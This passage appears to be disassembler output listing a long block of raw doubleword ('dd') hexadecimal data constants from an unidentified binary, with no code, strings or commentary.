2B50C93Ch dd 8ABF05D0h, 1FF02D5Ch, 0C6D5E79h, 845AAA36h, 99DBEB13h dd 5C29028Eh, 9DF48E7Ch, 573F9AF5h, 637FD764h, 0E62BCC00h dd 302468FAh, 36DE488Bh, 0C6B34Fh, 0DF98E090h, 0F0BC924h dd 35E21251h, 59195660h, 0ED12DE23h, 16E32F1Bh, 0E037A64Fh dd 0B0C9D288h, 99C3A189h, 25BA57CEh, 1FA1AD40h, 5F407582h dd 0EB25EF31h, 38F8653Ch, 0E63AE1F0h, 6C87F007h, 0EA9604FAh dd 0C090691Eh, 137DB50Dh, 7C1C1A97h, 4905D42Dh, 56BE2F6Eh dd 29E0D5D5h, 0ACD64E2Eh, 8A608386h, 3D8C9DDDh, 2721Dh dd 835DB707h, 2AB22767h, 81E72C3Ch, 0E3B8A8BDh, 146043FAh dd 0B54677BEh, 49B3C6F0h, 0E5D2F91Ch, 3870CE3h, 9F4D3BBEh dd 3CA15CE0h, 0EB790622h, 0D66E9B88h, 0A34AEF7Bh, 3A7F976Eh dd 712FC0CDh, 74AD25D1h, 61221025h, 539DB62h, 0B90E742Eh dd 0C0A8FBh, 8C06DCDFh, 0E909A99Eh, 361244h, 13564A30h dd 39DACDABh, 0F05E5A00h, 22CFB0FFh, 8B922F1Ah, 5041845Eh dd 0DB7E880Fh, 0CB1788B4h, 0BB93A0DFh, 4ED4A498h, 0B8A3AD14h dd 0A9018C1Ah, 2A2BE079h, 652EFAABh, 0CA34BF49h, 3E859DEAh dd 348027DAh, 8D638F66h, 8937E902h, 731F5BDh, 1B21628Bh dd 9F2FE655h, 17173FB5h, 4EFAD813h, 0ADC40129h, 0E029AE0Bh dd 40FC13FAh, 0DB640941h, 0F04A01D2h, 0DE3FE4CBh, 0D380C0B0h dd 70E66901h, 0CB19531h, 0BDDC882Bh, 33BEE54Ah, 5148DA04h dd 0E919270Ch, 122ED917h, 0F4238945h, 0FB00761Eh, 1F2A5721h dd 1DC57BD0h, 0C9C9E027h, 5871E6B9h, 526BB0Fh, 54C85FB5h dd 0E2DE4A0Ah, 21FD10C7h, 0CD1108D6h, 18C82B8Bh, 44C060h dd 0A2BEE31Ch, 2CA78A82h, 0EBC33205h, 0B887D18Bh, 25AE9F64h dd 7ED4B8D2h, 64A9854Fh, 47C25125h, 0C41D2375h, 951070FAh dd 94C500E6h, 32AF2A4Dh, 76292674h, 1CED0936h, 5B250C53h dd 0B71600E7h, 2FFF222h, 0FB213700h, 61AE268Ah, 332965E9h dd 0E28DEFF5h, 2BBDCD3Bh, 2F1E7724h, 4E15A554h, 690296B1h dd 0C2695CF5h, 111F28B7h, 5D85801Ah, 17E0AF59h, 0A66A4CC1h dd 9F4AF097h, 17DF1201h, 0B25EE6A0h, 55763018h, 7E233902h dd 0F207DEB9h, 1DED2030h dd 295B8195h, 59357D85h, 23757DEh, 0C9DE2700h, 27A433FDh dd 1658EA0Ch, 0B8640497h, 1E7EBBh, 759392ABh, 64C1AFA0h dd 0E1A5DFCh, 40BD13BAh, 0E2B53BECh, 7AA0565Dh, 4CD8BA82h dd 124C5A5Ch, 34244F2Eh, 0F8FA07Eh, 204E7582h, 0F21D9121h dd 0C14108EDh, 0CC7E34B2h, 6A00B667h, 804340EFh, 200EA1BEh dd 1902CB2Ch, 0B505F77h, 0C6AFDFBDh, 0BD66109h, 598D2960h dd 0FDC7B52Eh, 0C3404C11h, 0F11F5799h, 4B298F40h, 0BB088CF7h dd 3A2F4B02h, 0FFE1FF1Eh, 4BC0C4CDh, 1C454E13h, 0D3742BEAh dd 61B404C4h, 0BD33010Bh, 8E6B1D75h, 35F12E6h, 86802DF9h dd 0D089E31Dh, 28AA54Bh, 0A8316234h, 0EC1FA3D5h, 5BA022A7h dd 8203379Dh, 0F03D010Dh, 8DB81004h, 2BF0115h, 60426E18h dd 0A6B8B12Dh, 0E64DD82Eh, 54DB4225h, 0DEA826D6h, 9ABB7600h dd 0BF29B488h, 801A16CEh, 0D3C9B964h, 6282609Bh, 4E788A61h dd 40AD555Fh, 6E009AECh, 4A6820FAh, 4B0DEC7Eh, 1B53E03Bh dd 69055682h, 1A0DFE02h, 507A91DFh, 7BEEC92Bh, 0E2E70B70h dd 0ECFD16B8h, 0B022E79Ah, 29E551Dh, 189BE230h, 215FA65Eh dd 0EE536801h, 256A0F8h, 0B422F0BFh, 41545B64h, 8015AC02h dd 1C54E65Fh, 41533774h, 0A5B87AAFh, 7C3B218Ah, 59A74F08h dd 0A55622B2h, 0DE1F7649h, 0E01A7C62h, 97D051E3h, 5527FB01h dd 0CCAC2224h, 38AA6FA4h, 31828033h, 0C197EF77h, 0B7BDECD9h dd 9951B52h, 0F60CDEE1h, 4C9789Fh, 0FCB888BFh, 5FE4AD4Bh dd 0D3A2ECB7h, 41B09BE8h, 40FC9A95h, 0A0753197h, 9529B1C1h dd 4E50FAA9h, 0DAB925D2h, 0DFD60D96h, 0E2F42F70h, 0CD214539h dd 0E843100Dh, 25695A6h, 9BE45D52h, 542A5D27h, 68FCE0CDh dd 0A8FA82ACh, 0EB11BB04h, 49936BC4h, 57F4A153h, 3FC2AA5Bh dd 7860FFA6h, 0BA950269h, 0A441F7A8h, 0BEF76E12h, 313B6F56h dd 0E2056525h, 0CBA84461h, 0EC75ADE5h, 63E28C18h, 2879A114h dd 11FF71ACh, 282A5FF5h, 6E1195Ch, 4ACB068Ah, 142AE988h dd 26AD3B5h, 3219BD23h, 5536290Bh, 0D6D2689Dh, 0CE4BD40Ah dd 11AE0835h, 0BB02CEA2h, 8F9BFE5h, 8A503156h, 0D3EF9704h dd 9A217440h, 0D397520Eh, 765B5DCDh, 0C2A0E7EBh, 2D1D8333h dd 0FFE467DEh, 922FB200h, 7240B8EFh, 75320196h, 1B3DDAC9h dd 0B6EB205Fh, 0E79AFA4Ah, 5FC016C8h, 2E09C470h, 81B57DBDh dd 43EFEBBBh, 86342B35h, 4A6BB0E0h, 6B85C984h, 6624EB6Fh dd 842D17C7h, 0B8DAAAF6h, 66C01DC8h, 19BFCEEh, 7DA5BDA2h dd 6C500B25h, 739D8728h, 6F7F8CD0h, 0FAD4001Eh, 0A4D0022Eh dd 0C90E58CBh, 531FA5A7h, 0E3095D53h, 41137139h, 0C59701BFh dd 88DD2A3Ch, 0B76A6Eh, 69CD28FAh, 2DC261A5h, 0FD71F26Eh dd 43410154h, 0ADAAB493h, 98083AD7h, 30C22D1Ch, 0ED933A55h dd 0F0914091h, 9A06FA68h, 0B9807469h, 23812566h, 46DEA45Ch dd 0BB40414h, 6DF07D9Dh, 2747BE31h, 46DE0254h, 37D00115h dd 0C599529h, 5ACAE62Ah, 0FBA042A6h, 2204A387h, 52F103E6h dd 4F49E2AFh, 122B22F1h, 0E399E64Eh, 0BA980ADh, 50E61671h dd 49DD0469h, 0F375AB02h, 2F3F0BEAh, 0D35B935Ch, 0DC0F0009h dd 0BE208045h, 272482C1h, 48608C67h, 407AA7h, 0C16A8824h dd 0C9AC73B6h, 47676300h, 0B808BB86h, 215995C3h, 7EE7854h dd 263751D6h, 35FD9931h, 38169C8Ch, 0FE2C7E42h, 1508F7F4h dd 94042F20h, 4599AE53h, 0DB9136Fh, 2E545AF8h, 37E317C1h dd 807B2A2Eh, 31A6A9A5h, 7BBA00D3h, 9FDB7A7h, 0B417D85h dd 24F1D101h, 2E4BB73Ah, 18124C29h, 51E3FAACh, 38ED625Fh dd 0B100E7BCh, 65D24C13h, 0B87D62B3h, 0F6EE00E8h, 0D470BF96h dd 50766A7Ch, 2AAEC80Fh, 0E36F936Eh, 4A12A2Bh, 0B8C4EF80h dd 0F9F2D691h, 0D81B6803h, 5DE80DA8h, 0CB04883Bh, 5FF8B2DCh dd 1D882E9Bh, 90FBBDC4h, 0F698D183h, 2949E0F4h, 64B75A0Ch dd 2D7CEC5Eh, 0C4647111h, 0C3305342h, 74AC177Bh, 0A60010Dh dd 37651E4Eh, 0FB46E85Ah, 897D1897h, 5B93ED8Dh, 0A186E7C6h dd 0D7316DA0h, 4B9D8F2Ah, 0FB4A616Ah, 52586570h, 3EFE38BFh dd 0E95F1D04h, 1686B871h, 0ACE4BD23h, 0B0C15A8Bh, 1A40D9B3h dd 98B72561h, 9862C6h, 972B7120h, 0BF3C5DF0h, 7E5B3B93h dd 0B795FB7Ah, 86E30220h, 8C416A4Fh, 891A7BA2h, 76CE624Ah dd 0BD53A74Bh, 387AA0D0h, 750389B3h, 0F87DB51Fh, 0CD20D609h dd 0DE52F4EDh, 0AC56BD0Eh, 0E0858242h, 2FF55647h, 2070937Bh dd 8CB809ABh, 80F6C9E8h, 8BB0FB40h, 243E23Fh, 6309A631h dd 0C155BE27h, 0BA14085Bh, 0F90B7BA3h, 58C69050h, 1B40499Ch dd 95788Bh, 0A6685C33h, 66D2FF42h, 9B64D02h, 5D3555BDh dd 0DBF208F9h, 0DF061F0Fh, 0E0CB574Dh, 5034C6AAh, 6B1DA56Ah dd 0EF8C8D97h, 0B9014AB9h, 6204D218h, 0CDACA76Dh, 3AEC785Dh dd 0FF2DFCE0h, 0C0C0EDD1h, 0A188E149h, 0E6B1B002h, 42238E10h dd 549289FEh, 10A17103h, 5A25B589h, 0F4D7B32Bh, 2B1EA970h dd 12402798h, 9EB5DC90h, 24599000h, 4C4B8793h, 5C1798Ah dd 86BE6EBBh, 98E8457h, 31DB1ABAh, 8056F6A7h, 0BB4E91D4h dd 1000A070h, 5A4312F8h, 1CB68820h, 555B3624h, 818BD690h dd 0ACF53601h, 92E86277h, 0FB157C6Bh, 2A07697Ah, 0A50E58h dd 0E7074D71h, 0E95AE809h, 6C1C5774h, 0DACD2A39h, 0E300F26Fh dd 70A39D2Fh, 0D902B458h, 8D315B62h, 4AE4C4F1h, 0C8FADAF9h dd 8412C019h, 4125A6F9h, 4E4409h, 2B6D59FBh, 19BBFD81h dd 0AC4D5400h, 27BE0EE3h, 0BA6A1313h, 0A4AE1C8Ch, 2AFD0921h dd 0A05D1457h, 95F08890h, 0B75FB09Ah, 9B8C805Fh, 0B8F37412h dd 0B6F8402h, 5523159Dh, 0F99851CEh, 486AD33Dh, 93685880h dd 0F355E809h, 1C15D892h, 3D660204h, 1BC0030Fh, 4A1AE8F3h dd 0EBB4D962h, 30EE374Ah, 0C99F82C1h, 120C2C00h, 0BB8E38EFh dd 24CB13B0h, 5A00EF75h, 5F61A1AFh, 627048E6h, 1449913h dd 8B71E481h, 2A5C61FEh, 82B6B948h, 1341B501h, 0BFFC1855h dd 0BAA3247Dh, 31EAC188h, 10EF3CF3h, 0A44C0FADh, 0A961F525h dd 0F2902AFCh, 0B06EB81h, 89C82B9Fh, 7242137Fh, 85D14C7Eh dd 0BD227A71h, 2D7F2E1Ah, 0B4F4407Dh, 27789FB2h, 3F17C935h dd 7F6A1DAAh, 549105A2h, 9C0C1AB7h, 8D0B9759h, 58B0F9FBh dd 957106D3h, 0F84AFE44h, 983426BBh, 2AC21D55h, 2C228622h dd 266581CAh, 1B00A51Fh, 8BFC8AFEh, 80E1B0DAh, 278D2957h dd 5C560AADh, 90388450h, 256CB7E8h, 3299BD7Ah, 0D69E8AB7h dd 0A6B44FACh, 0B66A0EAh, 0A92C0114h, 19B95BBFh, 7B7A2F08h dd 6BD6A501h, 0FE3BE939h, 89891A5Fh, 0BC8A5031h, 0E65B3A11h dd 0FBDAE0FBh, 150105B5h, 6DB3C1h, 55D5D7DCh, 0C0122B7Ah dd 4A825060h, 590529h, 7BB1C6EEh, 0D24D2B61h, 93BC96h dd 0E033791Ah, 0FAB89965h, 0DB74A4Ah, 793016F2h, 503E3023h dd 268DDFB0h, 0EAA65B4Ah, 4E5FAC4Ah, 31ED0A75h, 5B9D01A8h dd 181A592Fh, 879A01E0h, 0D60C3028h, 92032C31h, 9562ECA0h dd 0B5A7CB97h, 25330023h, 299B5921h, 69DFF309h, 44A759F8h dd 8134FEBBh, 20FECEA5h, 67C5BB79h, 0B4485EB0h, 2C7510AAh dd 0A7B85B13h, 0E3ECE0FEh, 4CC40BCEh, 56A72Dh, 409F6DEBh dd 3A8465ADh, 80BFA802h, 0FE48A4BAh, 242D0BF0h, 1B8F307Fh dd 6D5F0235h, 4F19C4E1h, 30408F74h, 1A6810h, 65C956C0h dd 0DD44DF78h, 8131533Ch dd 615B37C8h, 6369E1FFh, 329D5BB8h, 0E5165618h, 7D18E1BBh dd 96AB8A6h, 0C6D9D89h, 25769CD5h, 45CC04A7h, 0C463702h dd 5C7F3C8Ch, 92595138h, 61EA6031h, 0C6098D5Eh, 35BA6601h dd 936061D4h, 52C57892h, 0B96B5604h, 5BE769Ah, 0C1B27ACDh dd 2EDD215Bh, 0DAF22613h, 0D19DE500h, 26BEFFFEh, 53CD9A16h dd 20811C04h, 69625B0Bh, 4A233F56h, 0E25958h, 0CF36A2EAh dd 0DA82BFC8h, 25976CF8h, 9EEF5440h, 21F4C03Bh, 17095F1Ah dd 0F22B25BDh, 0B9E6D78Bh, 3BD2CCA1h, 874D35C9h, 71801238h dd 8CBFC48Fh, 5F40C112h, 0A65B4FE3h, 20B53EA3h, 28409524h dd 46BF3C4Eh, 42313C15h, 39863500h, 0D3A9B8BEh, 900B9217h dd 88074DBh, 6B1D7E5Dh, 0BBD1FE02h, 761E3816h, 0ACF91664h dd 0D7FFA55Eh, 6EF94772h, 0E42EA817h, 886A24E5h, 74003A98h dd 93DF5D5Bh, 9944FD0h, 38041542h, 58979776h, 0E474D60Eh dd 70B84136h, 0E38FF6D2h, 8017F09Dh, 477E4CD7h, 5054D12Dh dd 696D5552h, 0B38C31C0h, 45DAB87Bh, 6BEAC965h, 1D259CB2h dd 7D853322h, 5AF6215Ch, 587C22ABh, 0F20000F4h, 6BD1809Ch dd 0E34C0452h, 0B835616Eh, 11E69680h, 8A3CC9F0h, 0A035100h dd 9531B36Fh, 2C719D6Dh, 0E0A28049h, 7F99BB3Ch, 99624B8Dh dd 9A7606Eh, 1D4A957Fh, 0DA4B67B3h, 66D28519h, 80612AABh dd 26A47D4Ah, 82D2C990h, 0F593A270h, 2A89AA78h, 6BFB39BDh dd 2FF4EC50h, 98958AA8h, 918E0FABh, 600724DDh, 0CF78F528h dd 2F945A12h, 91D8B23Ch, 5212B1B4h, 82C02A60h, 1412B6BBh dd 0E85A28D4h, 7CF88BC7h, 415ABD3Ah, 1CBF1016h, 0B05B6707h dd 167698DBh, 0F65C6288h, 0BA77221Dh, 4056EDAFh, 0EF91D740h dd 0A309C171h, 841C8274h, 0D6F16D7Dh, 0C8169A2Bh, 10CEC019h dd 0C9279366h, 13AA9098h, 711C1E12h, 8D76C151h, 0E0BA815Eh dd 1102A2E7h, 0E0BC3EC2h, 9E795514h, 4EB7263Bh, 80B96117h dd 0BDC7BF82h, 0DB7A415Eh, 52765097h, 0EA95A900h, 6AA6809Bh dd 0F97CC93Fh, 4B446D71h, 10B024F7h, 9A0170F5h, 0D988E77h dd 84C33EE9h, 0E178F6BEh, 92BB027h, 0A4562B6Bh, 0A1604B77h dd 13BE2E91h, 4B2AA0B8h, 2A53CA61h, 0FBB78ACBh, 9E827AA8h dd 600421E5h, 492FECE8h, 4B610CE1h, 7C9327F1h, 3905F6C0h dd 9DB3CE98h, 8A16E3F3h, 0D2F6ADDAh, 7FA833A9h, 0D3CD1A00h dd 0A9F6FE36h, 375BB52Bh, 0D4A6DC49h, 0ED502A00h, 6BBB776Dh dd 0CC9E4B6Ch, 0D09D9643h, 5F58959Ch, 8820DB9Dh, 25242FE9h dd 7B2E4109h, 0DB808414h, 0D212BDEDh, 87A03AF6h, 0E409D674h dd 57FB8B98h, 16D53538h, 7D372785h, 0E24EC600h, 4A0A90D9h dd 4D01201Eh, 2300FE2Dh, 0D9259B15h, 1F2E2D1h, 53CB81BFh dd 2E406531h, 2C9CFA17h, 0F9E800DCh, 0B2416102h, 7B384BB4h dd 0AB3B9636h, 59126AB7h, 6C8E208h, 1F19B501h, 20501E1Fh dd 11694B31h, 7577256h, 505947D0h, 0BB665F30h, 0B249E526h dd 56E48802h, 440457F8h, 0ECB8A9B8h, 6748079Fh, 51D63052h dd 6FB1E864h, 8384CCh, 639F9C7Fh, 0F204D75Dh, 0A6AC415Bh dd 6AB34A5Fh, 8400DC3Eh, 0C6C249FCh, 7852F8D0h, 955BF82Bh dd 1A91B3B5h, 50BFE187h, 0F2A397B1h, 0D5206498h, 118AA025h dd 48CE951Bh, 0A9F790A2h, 770D503Dh, 43C895D9h, 310847B4h dd 580961BDh, 0ABBD8F0Fh, 601C7C89h, 3DF8319Dh, 0AFEA6113h dd 5AA6E807h, 0A7AF7179h, 794AC3E3h, 0DA9637B7h, 498D80E2h dd 298F06F1h, 0BCEA9603h, 6732E800h, 0B369137Ch, 0F46BA630h dd 26F016BBh, 26236096h, 6F6C6F6h, 6561CB27h, 0B44950E2h dd 8C82585Bh, 53355705h, 0BF801B91h, 0A6573C5h, 18CDD116h dd 0F32D610Eh, 0D13C7529h, 0E3ADDC12h, 0F8B57AB2h, 2EA62573h dd 4A17B2C5h, 0F7B092F7h, 2B02C48Bh, 0C1B091FEh, 9D79C13Ch dd 256BCA6Ah, 71C3C2FCh, 92DA00FCh, 8435BEACh, 16008A7Ch dd 6BDF25C9h, 4B801BB0h, 4BBA8B26h, 0C24D27AAh, 0FE12F385h dd 6F17D437h, 47E1979Bh, 918B7Eh, 1D9DF9EDh, 25CD04C8h dd 0B6C6A38Dh, 87E497h, 0B5485D5Ah, 80893330h, 8B5C4400h dd 0EB86F72Bh, 0C8D116DFh, 0C1BEBCA8h, 5250905Fh, 0C4140F2Ah dd 0E65731C9h, 0D98B1BB1h, 0B7D80A61h, 4D9590A6h, 2FE8C037h dd 0A2637C08h, 7BDBB740h, 0E79108h, 0B5CA63D6h, 0E0001F3Ah dd 29921951h, 0D90E84h, 5685C3F4h, 1BFD4DBBh, 0B5F1102h dd 0C40845BDh, 0DCFF1300h, 0F061E6EDh, 10FAF8Eh, 8B2BDFE5h dd 2109DEE8h, 1618797h, 7F9939BDh, 0B94BB46h, 807900D4h dd 0FDCD74D4h, 0BF04DE8Bh, 2319B325h, 0E430E3AAh, 48392BF6h dd 1682B913h, 9D09041Dh, 50C2D671h, 0DC24BCh, 0A62B0C13h dd 0F3810993h, 0A24C7C04h, 6FAF6A5Ch, 3F1F38C0h, 9AF7022Bh dd 5519F448h, 1564FA6Dh, 3012FB61h, 4C004536h, 0DEBB4097h dd 9549D82Ah, 9510D66Ch, 0FC9706FDh, 5A62C470h, 689100BAh dd 0C229F84Dh, 5C7D662Dh, 482C9069h, 0F7A44A21h, 8A5B4B61h dd 0CF992DE7h, 7BFC6300h, 3B2362A1h, 0E79E88h, 0FDCA9BE4h dd 6A731876h, 0E6B2025Fh, 0E1D7D000h, 657A3ACEh, 0A10FAB00h dd 731F436Dh, 0BDBF4AA7h, 0B153D4h, 0BAE18B82h, 0CD5DD1h dd 139AC44Ch, 0BD7A226Fh, 47620D09h, 0B0FC025Eh, 7CCDD5A2h dd 1270DB6Bh, 0D967B099h, 0FB8B5A13h, 0DF4B70AEh, 3D78B797h dd 0C20E4521h, 0E609DD09h, 1AC49573h, 25DA2100h, 0C943D7A2h dd 0B82D4B68h, 5F52C7ADh, 0A5CF7319h, 9540DFEDh, 0C864EE2h dd 941881CCh, 24409D8Ch, 20535B50h, 6B3BF6BCh, 6068EC0Bh dd 5F10D561h, 329713B3h, 0FD2D82CBh, 0BC65D52Eh, 72D88A09h dd 0C8BD9FA6h, 64FD200h, 175587CDh, 6194710h, 55297DBAh dd 0C5C6FF62h, 27DDC434h, 3B7C12D1h, 0A02800F4h, 705737D8h dd 5412394Ch, 0CBE6F9ADh, 24014510h, 5B0E0657h, 8D561EB0h dd 0E60427FDh, 0BB800F70h, 0DB019BB7h, 493A07DAh, 0DFEED8E0h dd 0CA2FBA00h, 80F4A8D9h, 80F84B39h, 0BE99DD2h, 6C8D6695h dd 0DDF0770Ah, 0D4891C4Bh, 0B9A2F047h, 0C661092Eh, 0B2EB040Ah dd 4B4D5814h, 2C7B73BAh, 9D98FE80h, 3CC66600h, 0A9E3FD79h dd 0F8E0584h, 831BB9CAh, 52BCE8E1h, 0E9A04CB8h, 603CD992h dd 6BB84B8h, 1A869CC6h, 89040436h, 0AB19E58Dh, 7195B130h dd 7FB68424h, 0DEFCD11Ch, 4839DF33h, 511059C7h, 0E603508h dd 0FC665788h, 0C4614BF1h, 0E59B0D08h, 0FAD53F35h, 91E7D581h dd 2503482Fh, 181596B1h, 4B7AF62Eh, 0D2B288h, 170FF170h dd 5B8723D0h, 0CEEAE605h, 0F604CBEDh, 251F2A29h, 0E8C313DDh dd 973509B5h, 102D1DB1h, 3F9F59BFh, 0A528752Eh, 0C6FE651Ah dd 738B10D8h, 9D5CA62h, 925C4CF5h, 0C12B040Dh, 0BD67E065h dd 42A78228h, 9B77DEDh, 0CA1C5D85h, 7B60A9C2h, 29850407h dd 0B1BD440Eh, 2F56614Bh, 8F5F00F4h, 79BD8E42h, 0B712061Ch dd 0D4ADF5F2h, 8C19ACh, 3DFF93BCh, 0D6B99B6Eh, 27F7075Bh dd 19C030A2h, 35B4F5B5h, 4D13D22Ch, 6EE12D52h, 54B8796Dh dd 9340009Dh, 2FF9FC36h, 0F0FEC02Bh, 0E109B268h, 0C4CB5622h dd 0F440BCF8h, 500049E2h, 5DB57F32h, 66019A89h, 0E4A52A05h dd 0BBDC6A21h, 6E754F0Dh, 99F39D3h, 79E62F86h, 5A5B2750h dd 52EABD13h, 4637E7C5h, 4D0CB1BDh, 0FD48AA60h, 0E8D2B33Ah dd 0FE699822h, 0F8B426EAh, 310D0907h, 0AB71D656h, 0C5A985C3h dd 18015FBCh, 0FC7FA312h dd 0CA702EBAh, 33172CBBh, 2863600Ch, 1C00D69Ch, 4BFCBE15h dd 30C5023h, 18A97FF6h, 0BA84B82Ch, 0CAC041DEh, 2EB20379h dd 6C600A27h, 1D85133Ah, 0C3B62Fh, 0C009C57Dh, 0F6A461AFh dd 978475FAh, 149170B5h, 1D7BA89h, 2C999D1Bh, 0EC4F220Fh dd 32969788h, 86570140h, 0BD4E294h, 0F022BD61h, 0DA1240D4h dd 0F18D1BF2h, 0BC3A2952h, 6DD1052Ah, 0BA480D73h, 4B60A91Dh dd 0CBA2EC60h, 0DB89D72Bh, 7329B2D5h, 23915067h, 0DFE01675h dd 0C3CC1C27h, 82594BADh, 0FB5CF921h, 5E01268Bh, 2701F41Bh dd 0FD0FB7F9h, 5730EEA9h, 9C1E4BD5h, 0F5F933FEh, 4B816D16h dd 0A84ACAE9h, 0FF00AA7Fh, 0D4DA76AFh, 0AC053406h, 0B2B70B98h dd 24A9B204h, 0C4B39002h, 0B4ECC8D0h, 0A13820F1h, 0C1A84B99h dd 8BF78F17h, 6880EAECh, 365C052Ah, 6E86D2A1h, 532628h dd 0FCA02CBDh, 0C007E045h, 8A3E8BF0h, 0B9668256h, 0D56152E9h dd 6D50C80h, 0F143643h, 22250A8Dh, 459E1A05h, 0B555823Ah dd 971D913Dh, 0D51F71D4h, 0B8DB5AC4h, 8C00EFF2h, 2CC835AAh dd 1897F8FDh, 0A8DE8BD7h, 152A96Eh, 0A05B7932h, 0DBDF8355h dd 0F31EF4F0h, 1AD9E924h, 22CF1CA4h, 5C353DBDh, 1D46DECDh dd 46D67600h, 62431AFDh, 23B7ED05h, 20AB60FCh, 0CC0C06FFh dd 49C12700h, 0FC33B55Dh, 5584026Eh, 48A6BE7Fh, 847B4Bh dd 0CAE68059h, 42F1BF61h, 58EB66A5h, 494E5660h, 897FF58Ch dd 97CB584Dh, 9178A55Bh, 35D700D4h, 0D0945573h, 0C6955206h dd 100941E6h, 10BB5FF7h, 4D4BE3E0h, 9897F98Dh, 0EE1303D6h dd 0C2281E45h, 64EDEB7h, 0DA02C96Eh, 132B47F2h, 915BB5D5h dd 3C1C801Bh, 12C702EFh, 0E10129E9h, 0B8AB2DFFh, 0B350175Ah dd 0FF98814Dh, 0EF7E2FB5h, 9E8EC08h, 3D24A80h, 132A1CBDh dd 573356h, 5B60BE07h, 5A16D568h, 52E2183Eh, 0FD6AAC00h dd 0D3A5B3D6h, 6BE8AE0Fh, 415D251Bh, 500A89ABh, 21592AEEh dd 0E6F51825h, 0A0564A0Ah, 0C4BD2CABh, 35BF199Ch, 3B6BE61Bh dd 18385CCh, 0F36EC510h, 0D498D91Ah, 97267508h, 0F6520847h dd 1C7CD45Ah, 873ECB76h, 9061A7EEh, 1A524B4h, 7F973D3Eh dd 0C8EFB340h, 0D69D266Ch, 70562D35h, 0D3144DF6h, 3582FE89h dd 47551979h, 2C431AAAh, 87863755h, 0C053BA7Bh, 9A1520FDh dd 0BB0589E2h, 46EB1FD5h, 340208EFh, 1677F925h, 5333EF50h dd 0F5B5E25Fh, 0B555902Bh, 0C539F28Dh, 81F63806h, 0CC57E55h dd 4CD7D0h, 28CEBFF6h, 0B94DBB41h, 9122A405h, 0ADEC870Fh dd 0E071D889h, 5048742h, 562CAE57h, 0FC1FD678h, 0A5315EECh dd 1960BF51h, 5F04257Ah, 15649FCDh, 92C7DE61h, 1CE3D866h dd 9E007753h, 3236C5Eh, 5A004ADCh, 0B5A67541h, 4AFFD74Eh dd 4ACAE751h, 4E80B59Ah, 0CB402765h, 2C2F1448h, 0D24E8785h dd 0AAC094AFh, 0B1961FE4h, 30D48067h, 13DFDD18h, 4B518200h dd 0FEF64D26h, 4BD6F0B6h, 430F20EAh, 6207B01Ch, 0BA5A5DCCh dd 5219970h, 0BD59092Bh, 81F773EAh, 96FE8BFFh, 8BB1DB6Fh dd 532FD5Bh, 2135A8C0h, 0EA5F68A2h, 15ED7FFCh, 0B6FB3969h dd 1612A66Ch, 7A21F370h, 3EB2DB04h, 5BD6BDCh, 179FB89h dd 0DBBF0F81h, 2FDD8D09h, 0F8CB9C2Bh, 57A50191h, 27435080h dd 601DBB5Eh, 0B3EE64Ah, 0D58D23F6h, 1C40BB15h, 10EB9273h dd 0D3AC3C6Bh, 0CA1CEB6h, 0F4046BF3h, 1D13306Dh, 0EF0BD2FCh dd 0FF7BE872h, 0A976964h, 2DE5F20h, 0E3853EBDh, 335737B1h dd 13CDE9BAh, 9509120Ah, 6A25C6B9h, 1378DE5Bh, 886C0FBDh dd 39E1CFC2h, 9ED98A3Ch, 31241174h, 41646F4h, 0FC70144Fh dd 0BD82D5B9h, 96001D81h, 247CC8BFh, 919C7998h, 109A4EFBh dd 0AF742E80h, 60136855h, 70E99D29h, 6162805Eh, 1D498D31h dd 6EFC299Eh, 0E4642Dh, 0F057B7B1h, 300A3A7Eh, 5BFD8A12h dd 21A171ABh, 9A2D0F1Fh, 2ED8B5F3h, 29EB01E8h, 199D0B63h dd 0F8BC3E26h, 0D7D575C1h, 0C45EC1CCh, 21048AACh, 0A5BD3150h dd 0C75BF1B0h, 4596DAEEh, 3E48A181h, 0CCAAB464h, 584B5A65h dd 0AF8225EFh, 39D59C20h, 0E2C00A3h, 936BA091h, 4716E7BCh dd 63307506h, 359783h, 0E63F7C33h, 2F28BCC6h, 62955C9Dh dd 0F4965Fh, 400BD240h, 0D43212CFh, 25360A7Eh, 0F65F92ACh dd 3017B24Dh, 0E10E4FE3h, 35850916h, 0C56467F5h, 8515576Bh dd 30E71FC1h, 13F2F27Bh, 0D00FED70h, 78E91621h, 8C1CBCh dd 4D7A5221h, 16666D02h, 8B57B817h, 5B1D46E2h, 3569C901h dd 26EC375Eh, 0F3084A59h, 8E3D8837h, 2CC9B589h, 2B92617Bh dd 79E0CB16h, 31EF97C6h, 0E4B59440h, 11691871h, 221D945Fh dd 69CF5B95h, 8650F6F3h, 78AF07E1h, 26FA93A9h, 4B9DD6F9h dd 0F2B69098h, 8C36E3FFh, 0E9B87EF0h, 760B7470h, 0D4BDBA05h dd 0CCD62776h, 8035D2E0h, 0D6C600B0h, 0C2F92816h, 8F004296h dd 0CF83C50Fh, 2F23C18Bh, 0D50B359Dh, 26DCB5FFh, 6477E915h dd 66D097F7h, 81A41D3Ah, 0F77EC181h, 833F08F1h, 508B6176h dd 0C7E7BEECh, 0CC4EDA3Fh, 92007573h, 0A1D45BCDh, 41A059C4h dd 0BD77C6A3h, 5C168714h, 1A05307Dh, 6F053F3Bh, 2CA1BD23h dd 16885B9Ah, 0F7E537C1h, 8012DE2Bh, 0FBE3C72Ch, 0B360951Ch dd 3AE3EDD2h, 0BD31EF8h, 895769FEh, 0B6CD700Eh, 4800DC38h dd 0D0B01AF8h, 0E6ED4A2h, 859D01CCh, 1385A217h, 0C208C6F0h dd 43B78F12h, 0B5155DE0h, 0F800087Bh, 0A1D575Ah, 2778C379h dd 0AE48869Dh, 0C5B574E0h, 905F8BCEh, 760E45BDh, 915361D8h dd 0CE3D6AF8h, 85D49D7Eh, 0DC27A6A6h, 0C8764BFAh, 5FB9B947h dd 0DF04B7BDh, 0E2BA9BEEh, 2A5551C2h, 17A80FA9h, 31092CA4h dd 2A49B4Eh, 0B1CD1E2h, 82F805D5h, 0BEB83524h, 0C429AEA2h dd 0B639034Dh, 0B5C75E1Bh, 7457508Fh, 4A004F66h, 0FA0C142Bh dd 17509736h, 420DBD03h, 26A5BDCh, 2CE069EDh, 58D076A5h dd 0C22DB88h, 0A469FD9Eh, 900422A1h, 561CB356h, 0C85B3B0Bh dd 0EE7FC0F9h, 0B0304B7Bh, 0DC740095h, 0F838BF05h, 5B2D11B7h dd 0F9740490h, 0C920DAEFh, 0E6B8301Ch, 84E70033h, 0B1AB373Ch dd 0DB3981EFh, 47940490h, 0D3BC60E9h, 3B97DCE3h, 5FF4297Ch dd 5A476EB4h, 73275DF9h, 0BDF018D5h, 22A41E5h, 5955FF8Eh dd 8111BB49h, 45BF0210h, 6A3FD0B1h, 